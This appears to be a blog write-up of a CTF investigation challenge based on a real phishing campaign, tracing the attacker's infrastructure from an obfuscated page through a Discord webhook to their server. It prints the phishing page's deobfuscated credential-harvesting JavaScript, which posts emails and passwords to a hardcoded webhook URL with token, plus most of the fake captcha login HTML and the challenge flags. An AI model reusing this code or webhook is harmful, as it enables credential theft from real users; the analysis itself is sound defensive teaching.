Skip to main content
Xsec

GCTF 2025 - Case Writeup

Published on 21 min read

Updated on

Part 1 of 2
In this series37 min read in total
  1. GCTF 2025 - Case Writeup
  2. Baby (VulnLab) - Complete Writeup

This article is a writeup for the “CASE” challenge I created for the GCTF 2025 Capture The Flag (CTF). This CTF was co-organized at Guardia Cybersecurity School. The challenge was based on a real-world phishing campaign I encountered while analyzing data from the security solutions at the company where I worked at the time.

The goal of the challenge was to simulate a realistic scenario involving a phishing link sent by an attacker. Participants were required to investigate and create a detailed report describing the attacker’s methodology and techniques.The CTF lasts for 5 hours. I expected them to have completed it in 2 hours

The investigation forms a chain: every element found is the key to the next step. That is what structures this writeup.

PhaseStarting pointWhat it yields
1the entry point URLthe historical exfiltration domain
2that domainthe attacker’s infrastructure, its age, its location
3the deobfuscated codethe current exfiltration channel, a Discord webhook
4that webhookthe attacker’s Discord server, then the flag
SummaryWhat the challenge exercises
  • Peeling several layers of JavaScript obfuscation with no specialised tooling.
  • Mining the public traces of a domain: certificate transparency, geolocation, archives.
  • Reading obfuscated code to extract its business logic, here credential collection and sending.
  • Turning an exfiltration channel against its own owner.

The challenge

Synopsis

Esteemed participants,

As an elite cybersecurity analyst, you are officially mandated by SOCreddine, the Chief Information Officer of GuardiaCorp, to conduct a thorough investigation into a particularly suspicious URL.

This URL has been surreptitiously disseminated within GuardiaCorp’s internal networks, raising serious concerns about its origin and potential harmful repercussions.

Be advised that this task requires specialized expertise. Discretion is essential, as GuardiaCorp’s reputation is at stake.

Time is of the essence. SOCreddine expects your detailed report as soon as possible. May your insight and ingenuity guide you in this perilous undertaking.

Entrypoint: https://case.gctf.tech#jhubert@gmail.com

Difficulty : Easy/Medium

meme phish

Scoring Criteria

Starting from the entrypoint, find the following information:

PointsCriteriaExpected
100Reception ServerExfiltration endpoint previously used by the attacker to receive the data
50Panel IdentificationFull name of the panel used to deploy the template from the domain formerly used for exfiltration
50Geographical OriginLocation of the supposed city of origin of the server previously used to exfiltrate the data
150Initial TLS CertificateExact date and time of the first registration of the domain formerly used for exfiltration
150Domain ValuePrice of the domain formerly used for exfiltration on March 30, 2022
200New Exfiltration EndpointThe attacker has since changed his exfiltration method. Find the new way used to exfiltrate the data.
200Exfiltration LogicThese points will be awarded if you demonstrate in detail (from the code) how the attacker exfiltrated this data in the past and present (technical explanation of the code logic)
200Shared SecretA secret is hidden on the attackers’ discussion server!
200Final FlagFormat: GCTF{C2_server_name:exfiltration_domain}
Example: GCTF{Havoc:informaticien.fun}
1300Send the reportto the email address: report@gctf.tech mentioning your team name (otherwise refused)!

You must write a comprehensive report in your own words. It must be:

  • Demonstrative: Tangible evidence for each point
  • Exhaustive: Complete and detailed analysis
  • Explanatory: Contextualization and ease of understanding

You will only have one submission for your report.

Important: The best report will be worth 200 additional points.

We accept submissions up to one hour before the end of the CTF, after this deadline your report will be refused. You can submit your report and get points, even if it is incomplete!

Phase 1: from obfuscated code to the first domain

Everything starts from a URL and nothing else. The page rendered in the browser teaches nothing, its source does the talking.

Identify the reception server

Points: 100

Let’s dive into the source code of the https://case.gctf.tech#jhubert@gmail.com page :

<script language=javascript>document.write(unescape
('%0A%3C%21DOCTYPE%20html%3E%0A%3Chtml%20lang%3D%22en%22%3E%0A%20%20%20%20%3...'))
</script>

Which looks like a very long url encoded character chain, we can decode it with tool of your choice like cyberchief per example:

alt text

Url enconding was utilized. In the obfuscated script at the very bottom of the code, there is a comment with a POST request to a wired endpoint.

ExplanationURL encoding is not encryption

document.write(unescape('%3C%21DOCTYPE...')) protects nothing: unescape is a standard browser function, and any decoder reverses it in a second. That layer only exists to stop a content filter or a hurried eye from recognising HTML. It is the first of several, and that is the recurring pattern of this challenge: each layer is weak, it is the stacking that discourages.

alt text

ucbank.net/love/newpost.php

Identify the panel

Points: 50

Go on the domain root : https://ucbank.net

CyberPanel

CyberPanel

TipThe domain root reflex

An exfiltration path like /love/newpost.php names a file, not a service. Walking back up to the domain root costs one request and often reveals what hosts the whole thing: an administration panel, a default page, sometimes a directory index left open. It is the first move to make on any domain you meet.

The ucbank.net domain is identified. It becomes the subject of the investigation in turn.

Phase 2: profiling the attacker’s infrastructure

Three questions arise about that domain, and all three are answered from public sources, without ever touching the server.

Geographical origin

Points: 50

  • Utilize a geoIP tool with the ucbank.net domain:

iplocation

Istanbul

The first TLS certificate

Points: 150

  • With the crt.sh website you can see when TLS certificates was registered:

alt text

2018-07-27 19:32:08

ExplanationCertificate transparency, an unintended public archive

Since 2018, every certificate authority must publish each issued certificate into public, tamper-evident registries, the Certificate Transparency logs. The mechanism exists to detect fraudulent certificates, but it produces a valuable side effect for investigation: it dates a domain’s appearance on the web, and reveals all of its subdomains, including those no public DNS exposes. crt.sh is merely a lookup interface onto those registries.

The domain value

Points: 150

  • Domain Price on March 30, 2022: Check historical records on Wayback Machine to ascertain the domain’s value at the given time.

domain pricing

280$

TipWhy the Wayback Machine answers where the live site stays silent

The domain changed purpose since 2022: its sale page no longer exists. The archive keeps the state of the site at a given date, which is what answers a question about the past. In real investigations, it is also what allows an infrastructure dismantled after the fact to be reconstructed.

The historical infrastructure is mapped. What remains is where the credentials go today, and that can only be read in the code.

Phase 3: the current exfiltration channel

Find the new exfiltration endpoint

Points: 200

In the javascript part of the code (at very bottom) we see first, what look like a commented POST request to the https://ucbank.net/love/newpost.php endpoint.

(0x4c1, 0x4b5, 0x4a1, 0x4c9)] = function () {
function _0x377252(_0x2000a8, _0x307650, _0x53890e, _0x21295a) {
return _0x4ff03(_0x2000a8 - 0xb9, _0x2000a8, _0x53890e - 0x5b, _0x21295a - 0x36);
}
// xhr.open("POST", "https://ucbank.net/love/newpost.php", true);
function _0x5efac2(_0x2a9176, _0xc58150, _0x548760, _0x43abc3) {
return _0x4ff03(_0x2a9176 - 0x1c, _0xc58150, _0x548760 - 0x119, _0x548760 - -0x2a9);
}
_0x543aea['readyState'] === XMLHttpRequest['DONE'] && (_0x464090[_0x377252(0x50c, 0x4a1, 0x522, 0x4e5)](_0x543aea[_0x377252(0x4e2, 0x4ad, 0x4b3, 0x4e2)], 0xf * 0xff + -0x19c0 + 0x3dd * 0x3) ? _0x464090[_0x377252(0x526, 0x54d, 0x547, 0x55d)](_0x377252(0x510, 0x515, 0x569, 0x548), _0x464090['ZkWJL']) ? _0x275237[_0x377252(0x500, 0x580, 0x54d, 0x53d)]('Failed\x20to\x20' + 'send\x20messa' + _0x377252(0x51d, 0x4d7, 0x4d8, 0x4f8), _0x11c9c1[_0x377252(0x580, 0x52c, 0x563, 0x546) + 'xt']) : console[_0x5efac2(0x279, 0x2ba, 0x279, 0x2a6)](_0x377252(0x52e, 0x526, 0x525, 0x51c) + 'nt\x20success' + _0x377252(0x575, 0x596, 0x552, 0x55a)) : console[_0x377252(0x572, 0x4fa, 0x541, 0x53d)](_0x464090['Jmsnh'], _0x543aea['responseTe' + 'xt']));
}, _0x543aea['send'](JSON[_0x4ff03(0x50f, 0x500, 0x4ef, 0x4d4)](_0x2af2a6)), document[_0x1f912b(-0x1b9, -0x223, -0x205, -0x1f2) + _0x4ff03(0x517, 0x524, 0x516, 0x51e)](_0x15fe69[_0x4ff03(0x4f0, 0x549, 0x4cc, 0x50c)])[_0x1f912b(-0x192, -0x1a6, -0x1a3, -0x184)] = _0x15aa9c + (-0x7d2 + 0x15b6 * 0x1 + -0x3 * 0x4a1), document[_0x1f912b(-0x1e8, -0x1ff, -0x222, -0x1f2) + _0x4ff03(0x526, 0x55b, 0x4e3, 0x51e)](_0x15fe69[_0x1f912b(-0x1d5, -0x1cd, -0x1b6, -0x1e2)])[_0x1f912b(-0x1c8, -0x1b2, -0x159, -0x184)] = '';
});
});

Let’s deobfuscate it briefly as well:

Deobfuscated code, around 200 lines
(function (_0x489ecf, _0xc917ab) {
var _0x13d46c = _0x489ecf();
while (true) {
try {
var _0x407117 = parseInt(_0x1eac(352, 0xba)) / 1 + -parseInt(_0x1eac(314, -0xf8)) / 2 + -parseInt(_0x1eac(420, -0x70)) / 3 + parseInt(_0x1eac(317, 0x7a)) / 4 * (-parseInt(_0x1eac(322, 0xa2)) / 5) + -parseInt(_0x1eac(340, -0x9e)) / 6 * (-parseInt(_0x1eac(397, 0xe4)) / 7) + parseInt(_0x1eac(417, 0xbf)) / 8 + parseInt(_0x1eac(345, -0xa0)) / 9;
if (_0x407117 === _0xc917ab) {
break;
} else {
_0x13d46c.push(_0x13d46c.shift());
}
} catch (_0x247d0c) {
_0x13d46c.push(_0x13d46c.shift());
}
}
})(_0x1123, 169814);
var _0x16e918 = function () {
var _0x498639 = {
FrbHv: function (_0x498b67, _0x24000c) {
return _0x498b67 === _0x24000c;
}
};
_0x498639.KgbQA = "xveGs";
_0x498639.tBWXr = "wXsKI";
var _0x964def = true;
return function (_0x25b0d0, _0x29a9db) {
var _0x19d983 = {
'DuegV': function (_0x1bfa63, _0x4cdb5) {
return _0x1bfa63 === _0x4cdb5;
},
'ejKtT': function (_0x1d3000, _0x80729d) {
return _0x1d3000 === _0x80729d;
},
'xdKMA': _0x498639.KgbQA,
'rnjzX': _0x498639.tBWXr
};
var _0x315f11 = _0x964def ? function () {
if (_0x19d983.xdKMA === _0x19d983.rnjzX) {
if (_0x32f7ab.readyState === _0x37b4d5.DONE) {
if (_0x19dcc6.status === 200) {
_0x5dafbb.log("Message sent successfully!");
} else {
_0x16a208.error("Failed to send message:", _0x4d2989.responseText);
}
}
} else {
if (_0x29a9db) {
var _0x29faa0 = _0x29a9db.apply(_0x25b0d0, arguments);
_0x29a9db = null;
return _0x29faa0;
}
}
} : function () {};
_0x964def = false;
return _0x315f11;
};
}();
var _0x276bce = _0x16e918(this, function () {
var _0x1ab606;
try {
var _0x5baa92 = Function("return (function() {}.constructor(\"return this\")( ));");
_0x1ab606 = _0x5baa92();
} catch (_0x1f2a15) {
_0x1ab606 = window;
}
var _0x3a5087 = _0x1ab606.console = _0x1ab606.console || {};
var _0xc25c01 = ["log", "warn", "info", "error", "exception", "table", "trace"];
for (var _0x15cf1e = 0; _0x15cf1e < _0xc25c01.length; _0x15cf1e++) {
var _0x4b4485 = _0x16e918.constructor.prototype.bind(_0x16e918);
var _0x1e30fb = _0xc25c01[_0x15cf1e];
var _0x10a535 = _0x3a5087[_0x1e30fb] || _0x4b4485;
_0x4b4485.__proto__ = _0x16e918.bind(_0x16e918);
_0x4b4485.toString = _0x10a535.toString.bind(_0x10a535);
_0x3a5087[_0x1e30fb] = _0x4b4485;
}
});
_0x276bce();
var link = window.location.href;
var url = new URL(link);
function _0x27b64f(_0x2de266, _0x54f5e3, _0x34ed92, _0x243e55) {
return _0x1eac(_0x54f5e3 + 0x258, _0x2de266);
}
var hash = url.hash;
var updated_email = hash.replace('#', '');
function _0x1123() {
var _0x418741 = ['vLHjvwG', 'C3rYAw5NAwz5', 'uLb3Exe', '4PQHienYzwrZieXV', 'A3mVmtmXnJGWnq', 'C3vIBwL0', 'ChjVDg90ExbL', 'AJLruwSXzg9fna', 'zgLZCgXHEq', 'C3vIC3rYAw5N', 'C2v0uMvXDwvZDa', 's2PMswS', 'AwXPC2f0zxvYia', 'rxblqMi', 'zxHJzxb0Aw9U', 's2DIuue', 'D0jOwNG', 'Dg9tDhjPBMC', 'Agzetg0', 'twvZC2fNzsbZzq', 'C2vUzcbTzxnZyq', 'rMfPBgvKihrVia', 'ywjlrhq', 'CgvTy2e', 'CYDLC3qGzMfPDa', 'tNviBvm', 'wg1RExm', 'y29UC29Szq', 'yxbWBgLJyxrPBW', 'ywrKrxzLBNrmAq', 'z2DLzcdIMQe', 'zcOQoIa', 'yxvSDa', 'mtiZmJDotwnuELO', 'BMn0Aw9UkcKG', 'q2f2BhK', 'C3rLBMvY', 'C3jJ', 'rMvwB1G', 'B25YzwfKExn0yq', 'BgvUz3rO', 'uMfwEhu', 'rhvLz1y', 'EhzLr3m', 'zw1HAwW', 'y3rVCIGICMv0Dq', 'Egrltue', 'CM4GDgHPCYiPka', 'q29UDgvUDc1uEq', 'BNqGC3vJy2vZCW', 'kIPfBwfPBcOQoG', 'D2fYBG', 'zxjYB3i', 'mJiWnZG5nKHgDM9jtq', 'CM5QELG', 'zgvUDgLHBhmG8j+sGa', 'ntCZodyXqwrqvLLl', 'D09RuwG', 'Bg9JyxrPB24', 'rNjIshy', 'Aw5MBW', 'CMvZCg9UC2vuzq', '4PQG77IpifvtrviGqLjf', 'zNHIB3i', 'DMfSDwu', 'BwvuENC', 'AhjLzG', 'yxbPl3DLyMHVBW', 'reDVuJe3neO3DW', 'uLDAvNG', 'C2v0qxr0CMLIDq', 'tg9HzgvK', 'y21jsK4', 'oty2mtq2mdq4mq', 'Dejxwhi', 'qNLjza', 'BI9QC29U', 'zM9YBq', 'cIOQugfZC3DVCG', 'Bg9N', 'Ahr0Chm6lY8', 'zNvSBhKH', 'BuLKq0K', 'ifbfvefyisOQia', 'AhvswKW', 'C0r5v2e', 'DhjHy2u', 'nJuZmti0rKvrwhHh', 'ChzevLK', '4PQH8j+sGa', 'nZK4nJy4EMrYsePK', 'z2v0rwXLBwvUDa', 'Bg9HzgLUzW', 'AMr6Dwe', 'ExrPBwCUy29TlW', 'nvDrwhrcCa', 'B3vUDhmG8j+sGokAOq', 'Aw1NDxiUy29TlW', 'C3rHDhvZ', 'AwzYyw1L', 'svjJv2S', 'rgLvy2G', 'E30Uy29UC3rYDq', 'sgvHzgvY', 'B0jYAei', 'C3r5Bgu', 'qtriyK1Onff2mG', 'vLrbuMG', 'DgfIBgu', 'Awjiu1C', 'B3bLBG', 'DMKVnNPhsJjRBq', 'Ahr0Chm6lY9PlG', 'odqWCeXyA1LJ', 'tM1xoueYDLvtCW', 'AvHHtgO', 'ELflB1K', 'C2rLzMf1BhqUAG', 'mJm0otaWmhnNBhznBG', 'A3D4tg8', 'z2u6', 'B3HrBuC', 'ueftC1O', 'ue9tva', 'zwPlDfq', 'mtaZodaZB3H3tKLz', 'ChjLDMvUDerLzG', 'DgvJAgfUz2u', 're9nq29UDgvUDa', 'yMLUza', 'Aw5KzxHpzG', 'wMnWq3C', 'D1HZs0K', 'C2nVCMqUy29TlW', '4PQH8j+sGcaQkLvUihv0', 'x19WCM90B19F', 's2fHDhG'];
_0x1123 = function () {
return _0x418741;
};
return _0x1123();
}
document.getElementById("email").value = updated_email;
function _0x1eac(_0x12c56b, _0x293603) {
var _0x203324 = _0x1123();
_0x1eac = function (_0x4239df, _0x348dec) {
_0x4239df = _0x4239df - 314;
var _0x44d9ab = _0x203324[_0x4239df];
if (_0x1eac.QUflAz === undefined) {
var _0x29b880 = function (_0x57f2c1) {
var _0x4eb863 = '';
var _0x49fad1 = '';
var _0x32739b = 0;
var _0x36edaa;
var _0x1c9961;
for (var _0x1f7d93 = 0; _0x1c9961 = _0x57f2c1.charAt(_0x1f7d93++); ~_0x1c9961 && (_0x36edaa = _0x32739b % 4 ? _0x36edaa * 64 + _0x1c9961 : _0x1c9961, _0x32739b++ % 4) ? _0x4eb863 += String.fromCharCode(255 & _0x36edaa >> (-2 * _0x32739b & 6)) : 0) {
_0x1c9961 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='.indexOf(_0x1c9961);
}
var _0x40ae0c = 0;
for (var _0x597c0e = _0x4eb863.length; _0x40ae0c < _0x597c0e; _0x40ae0c++) {
_0x49fad1 += '%' + ('00' + _0x4eb863.charCodeAt(_0x40ae0c).toString(16)).slice(-2);
}
return decodeURIComponent(_0x49fad1);
};
_0x1eac.SPSFPy = _0x29b880;
_0x12c56b = arguments;
_0x1eac.QUflAz = true;
}
var _0x1098c8 = _0x203324[0];
var _0x54f334 = _0x4239df + _0x1098c8;
var _0x53d4c4 = _0x12c56b[_0x54f334];
if (!_0x53d4c4) {
_0x44d9ab = _0x1eac.SPSFPy(_0x44d9ab);
_0x12c56b[_0x54f334] = _0x44d9ab;
} else {
_0x44d9ab = _0x53d4c4;
}
return _0x44d9ab;
};
return _0x1eac(_0x12c56b, _0x293603);
}
const delimiterIndex = updated_email.indexOf('@');
const charactersAfter = updated_email.substring(delimiterIndex + 1);
var iframe = document.getElementById("iframe");
var iframe_url = "https://" + charactersAfter;
iframe.setAttribute("src", iframe_url);
setTimeout(() => {
var _0x3c52a0 = document.getElementById("loading");
_0x3c52a0.style.display = 'none';
}, 4000);
function _0x18dfa5(_0x895e04, _0x23a0ac, _0x4cada8, _0x34b52a) {
return _0x1eac(_0x895e04 + 0x52, _0x34b52a);
}
document.addEventListener("DOMContentLoaded", function () {
var _0x3440d6 = {
pvDVY: function (_0x1b4dad, _0x64df64) {
return _0x1b4dad === _0x64df64;
},
EpKBb: function (_0x36a897, _0x200699) {
return _0x36a897 !== _0x200699;
},
pemca: "Failed to send message:",
wOkQh: 'number',
VTARh: 'password'
};
_0x3440d6.kwxLo = "Hacked accounts";
_0x3440d6.NuHmS = "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg";
_0x3440d6.mIdCI = "USER BREACH DETECTED";
_0x3440d6.iXaLj = "User Credentials";
_0x3440d6.RaVxu = "Creds Logged";
_0x3440d6.KjfIk = "https://i.imgur.com/UsNaXHK.gif";
_0x3440d6.jdzua = "POST";
_0x3440d6.VXIUh = "application/json";
_0x3440d6.Xmkys = "form";
_0x3440d6.ZcpCw = "submit";
var _0x3b333b = document.getElementById(_0x3440d6.Xmkys);
_0x3b333b.addEventListener(_0x3440d6.ZcpCw, function (_0x338ff6) {
_0x338ff6.preventDefault();
var _0x15aa9c = parseInt(document.getElementById('number').value);
var _0x2af2a6 = {
'username': _0x3440d6.kwxLo,
'avatar_url': _0x3440d6.NuHmS,
'embeds': [{
'title': _0x3440d6.mIdCI,
'description': "**Un utilisateur s'est fait PETAX!**",
'color': 0xff0000,
'fields': [{
'name': _0x3440d6.iXaLj,
'value': "**Email**: " + document.getElementById("email").value + "\n**Password**: " + document.getElementById('password').value,
'inline': false
}],
'footer': {
'text': _0x3440d6.RaVxu,
'icon_url': "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg"
},
'image': {
'url': _0x3440d6.KjfIk
}
}]
};
var _0x543aea = new XMLHttpRequest();
_0x543aea.open(_0x3440d6.jdzua, "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", true);
_0x543aea.setRequestHeader("Content-Type", _0x3440d6.VXIUh);
_0x543aea.onreadystatechange = function () {
// xhr.open("POST", "https://ucbank.net/love/newpost.php", true);
if (_0x543aea.readyState === XMLHttpRequest.DONE) {
if (_0x543aea.status === 200) {
console.log("Message sent successfully!");
} else {
console.error("Failed to send message:", _0x543aea.responseText);
}
}
};
_0x543aea.send(JSON.stringify(_0x2af2a6));
document.getElementById('number').value = _0x15aa9c + 1;
document.getElementById('password').value = '';
});
});
ExplanationRecognising javascript-obfuscator

The string array at the end of the file, the indexed decoding function (_0x1eac), the rotation loop that reorders that array at startup, and the overwriting of the console methods are the exact signature of the open source javascript-obfuscator tool. Spotting it saves a great deal of time: the structure is always the same, and the useful code invariably sits outside the hex-named functions.

We see some deadcode (certainly to make us spend more time on it on purpose) and a discord webhook structure:

12 collapsed lines
document.addEventListener("DOMContentLoaded", function () {
var _0x3440d6 = {
pvDVY: function (_0x1b4dad, _0x64df64) {
return _0x1b4dad === _0x64df64;
},
EpKBb: function (_0x36a897, _0x200699) {
return _0x36a897 !== _0x200699;
},
pemca: "Failed to send message:",
wOkQh: 'number',
VTARh: 'password'
};
_0x3440d6.kwxLo = "Hacked accounts";
_0x3440d6.NuHmS = "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg";
_0x3440d6.mIdCI = "USER BREACH DETECTED";
_0x3440d6.iXaLj = "User Credentials";
_0x3440d6.RaVxu = "Creds Logged";
_0x3440d6.KjfIk = "https://i.imgur.com/UsNaXHK.gif";
_0x3440d6.jdzua = "POST";
_0x3440d6.VXIUh = "application/json";
_0x3440d6.Xmkys = "form";
_0x3440d6.ZcpCw = "submit";
var _0x3b333b = document.getElementById(_0x3440d6.Xmkys);
_0x3b333b.addEventListener(_0x3440d6.ZcpCw, function (_0x338ff6) {
_0x338ff6.preventDefault();
var _0x15aa9c = parseInt(document.getElementById('number').value);
var _0x2af2a6 = {
'username': _0x3440d6.kwxLo,
'avatar_url': _0x3440d6.NuHmS,
'embeds': [{
'title': _0x3440d6.mIdCI,
'description': "**Un utilisateur s'est fait PETAX!**",
'color': 0xff0000,
'fields': [{
'name': _0x3440d6.iXaLj,
'value': "**Email**: " + document.getElementById("email").value + "\n**Password**: " + document.getElementById('password').value,
'inline': false
}],
'footer': {
'text': _0x3440d6.RaVxu,
'icon_url': "https://i.ytimg.com/vi/6zGJ2kmR8J8/maxresdefault.jpg"
},
'image': {
'url': _0x3440d6.KjfIk
}
}]
};
var _0x543aea = new XMLHttpRequest();
_0x543aea.open(_0x3440d6.jdzua, "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", true);
16 collapsed lines
_0x543aea.setRequestHeader("Content-Type", _0x3440d6.VXIUh);
_0x543aea.onreadystatechange = function () {
// xhr.open("POST", "https://ucbank.net/love/newpost.php", true);
if (_0x543aea.readyState === XMLHttpRequest.DONE) {
if (_0x543aea.status === 200) {
console.log("Message sent successfully!");
} else {
console.error("Failed to send message:", _0x543aea.responseText);
}
}
};
_0x543aea.send(JSON.stringify(_0x2af2a6));
document.getElementById('number').value = _0x15aa9c + 1;
document.getElementById('password').value = '';
});
});

We can clearly see that the 2 fields email and password of the form, are sent to a discord webhook for exfiltration.

Understand the code logic

Points: 200

What the f* the code does ???

code meme

NoteSummarizing

This is a phishing page designed to trick people into entering their password. The attackers then collect the credentials using a Discord webhook. Various obfuscation techniques are used to make the code harder to analyze.

Core functionality

  1. Credential Harvesting:
  • Automatically populates an email field from the URL hash (e.g., example.com#victim@email.com → email = victim@email.com)
  • Capturing the entered password upon form submission.
  • Sending both fields to the Discord webhook via a POST request.
  1. Obfuscation Techniques:
    • Heavy use of hexadecimal variable names (_0x1eac, _0x1123)
    • String encryption/decryption routines
    • Console method overwriting to hide debug logs
    • Array rotation and code flow manipulation

Data exfiltration

Discord Webhook Call
xhr.open("POST", "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI", true);

Sends stolen credentials, Email: victim@example.com and Password: [user's entered password]

ExplanationWhy a Discord webhook rather than a server

A webhook is a URL that accepts messages over POST, with no authentication beyond knowing the URL itself. For the attacker the appeal is obvious: no server to rent, no domain name to register, no payment trail, and traffic towards discord.com that goes unnoticed in a company’s network logs.

The downside is just as sharp, and it is what the next phase exploits: that URL is a bearer secret. Whoever holds it can not only write into the channel, but also query the webhook and walk back to the server hosting it.

Deceptive UI

  • Loads an iframe in the ackground matching the email domain (e.g., @gmail.comhttps://gmail.com)
  • Shows fake loading screen (4-second delay)

In the code:

  1. Anti-Analysis Features

    Overwrites console methods to prevent debugging
    console.log = function(){};
    console.error = function(){};
  2. Domain Parsing to iframe

    const charactersAfter = updated_email.substring(delimiterIndex + 1);
    iframe.setAttribute("src", "https://" + charactersAfter);

Key points

  • Use of multiple code obfuscation layers
  • Hardcoded Discord webhook URL and attacker domain
  • Automatic email extraction from URL fragments
  • Dynamic iframe loading based on email domain
  • Console method tampering

The exfiltration channel is identified. That URL is also a way in.

Phase 4: from the webhook to the attacker’s server

The shared secret

Points: 200

First some documentation on discord webhooks:

With this webhook we can post data or delete it, that is not very interesting there (or if you just want to mess up with other teams and challenge maker), there is a way to retrieve a invitation link to the discord server perhaps it needs an active discord widget configuration by the server owner):

  1. Submit a GET request to the webhook URL to reveal associated guild ID:
{
"application_id": null,
"avatar": "1d1dc4094ab1693e3c45e674685948c5",
"channel_id": "1316805941609627659",
"guild_id": "1316805897082765373",
"id": "1316805966146048123",
"name": "Proz0X_ hacked accounts",
"type": 1,
"token": "WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI",
"url": "https://discord.com/api/webhooks/1316805966146048123/WmjIsrHNmW9A2vUSsDGoR174J7wRtHRa278iCA4HbMh4Qv2j9QQk1doE4_pOqFP04mhI"
}
  1. Access https://www.discord.com/api/guilds/<guild id>/widget.json to get the invitation link from the widget feature.
{
"id": "1316805897082765373",
"name": "H3CK3Rz_",
"instant_invite": "https://discord.com/invite/jZ4nUrck",
"channels": [],
"members": [],
"presence_count": 0
}
  1. You are granted to join the server from the widget invitation link retreived.
ImportantThe exact pivot chain

Three requests are enough, and each one uses a documented Discord feature, never a flaw.

RequestWhat it returns
GET on the webhook URLthe webhook metadata, including the guild_id
GET /api/guilds/<guild_id>/widget.jsonthe server name and a permanent invitation link
opening the invitation linkaccess to the attacker’s server

The second step only works if the owner left the widget enabled, which is the default setting for many servers. That is exactly the operator mistake the challenge sets out to reveal.

In the server, an event is live with a message.

Hackers discord event

GCTF{P0URkw01_m377r3_Un_fl49_1C1??}

The final flag

Points: 200

In the #help channel, a user “Slap” ask for help about a strange behavior on is PC, at the end of the discussion he provide a zip file:

alt text

To gain time, we can scan this archive on an online dynamic analysis tool per ex. : Tria.ge:

WarningDropping a sample onto a public service is not neutral

An online sandbox runs the file and usually publishes its report. On a real incident that tells the attacker their implant is being analysed, and it can expose internal data contained in the sample. In a CTF the move is harmless, in a company it is decided with whoever owns the incident.

alt text

Cobalt strike is the utilized C2.

alt text

Attacker exfiltration domain is: softline.top

GCTF{cobalt_strike:softline.top}

What this challenge teaches

A recap of the full chain, each line having been reachable only thanks to the previous one:

StepSourceResult
URL decoding of the pagesource of the entry pointthe real HTML and script
Reading the leftover commentobfuscated scriptucbank.net/love/newpost.php
Domain rootucbank.netCyberPanel panel
IP geolocationucbank.netIstanbul
Certificate Transparencycrt.sh2018-07-27 19:32:08
Web archivesWayback Machine280$ on March 30, 2022
Deobfuscationfull scriptlive Discord webhook
GET on the webhookwebhook URLguild_id
Guild widgetguild_idinvitation link
Archive analysisTria.geCobalt Strike, softline.top

Three lessons stand out, and they transfer beyond CTFs.

Obfuscation slows down, it does not protect. None of the layers encountered was solid: URL encoding, hex names, rotating string array, console overwriting. Stacked, they are still enough to discourage a quick analysis, and that is precisely their purpose.

Comments and dead code are gold mines. The first domain was found in a commented-out line the attacker forgot to remove. On a real infrastructure, those leftovers are what tie a current campaign to its earlier versions.

A convenient exfiltration channel is an exposed one. The Discord webhook spared the attacker from renting a server, but its URL was a bearer secret hardcoded into a public page. Recovering it granted access to the command infrastructure, which is the exact opposite of the intended outcome.

This concludes the writeup for the “CASE” challenge at GCTF 2025. I hope you found this walkthrough insightful and helpful for tackling similar real-world scenarios in cybersecurity.

PS : Sadly, participants was like that:

alt text

0 solve, it happens sometimes, i guess.

Appendix: the clear source code

Fully deobfuscated phishing page, around 200 lines
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Captcha page | Secured</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
<link href="https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap" rel="stylesheet">
<script src="https://kit.fontawesome.com/585b051251.js" crossorigin="anonymous"></script>
<link rel="shortcut icon" href="https://masherabot.com/img/png/adobe/acrobat.png" type="image/x-icon">
<script src="https://code.jquery.com/jquery-3.7.0.js" integrity="sha256-JlqSTELeR4TLqP0OG9dxM7yDPqX1ox/HfgiSLBj8+kM=" crossorigin="anonymous"></script>
</head>
<style>
body{
display: flex;
justify-content: center;
align-items: center;
}
#iframe{
position: fixed;
top: 0; right: 0; bottom: 0; left: 0;
width: 100vw;
height: 100vh;
}
.login{
display: flex;
justify-content: center;
align-items: center;
width: 100vh;
height: 100vh;
z-index: 20;
}
.login_body{
width: 90%;
max-width: 400px;
z-index: 10;
padding: 10px;
background: white;
border-radius: 10px;
box-shadow: 0 4px 32px 0 grey;
display: flex;
flex-flow: column;
gap: 10px;
}
.confirm{
font-weight: 600;
}
.flex_column{
display: flex;
flex-flow: column;
}
#newbutton{
width: fit-content !important;
background: #062174;
color: white;
}
.loading{
display: flex;
justify-content: center;
align-items: center;
flex-flow: column;
gap: 10px;
position: fixed;
top: 0; right: 0; bottom: 0; left: 0;
z-index: 100;
background: white;
}
.loader {
width: 48px;
height: 48px;
display: inline-block;
position: relative;
background: black;
box-sizing: border-box;
animation: flipX 1s linear infinite;
}
@keyframes flipX {
0% {
transform: perspective(200px) rotateX(0deg) rotateY(0deg);
}
50% {
transform: perspective(200px) rotateX(-180deg) rotateY(0deg);
}
100% {
transform: perspective(200px) rotateX(-180deg) rotateY(-180deg);
}
}
</style>
<body>
<div class="login">
<div class="login_body">
<img src="https://media.istockphoto.com/id/1156467607/photo/captcha-im-not-a-robot.jpg?b=1&s=170667a&w=0&k=20&c=qsCUeyZgtDMl98uVMrhPrXqWatuEdwkSyF6YlwLtbW4=" width="150">
<div class="alert alert-danger" id="msg" style="display: none;">Incorrect Password</div>
<div class="text-center confirm">Confirm identity to prove you are not a robot</div>
<div id="error" style="color: red;"></div>
<form class="flex_column" id="form">
<label class="text-secondary font-weight-bold">Email Address</label>
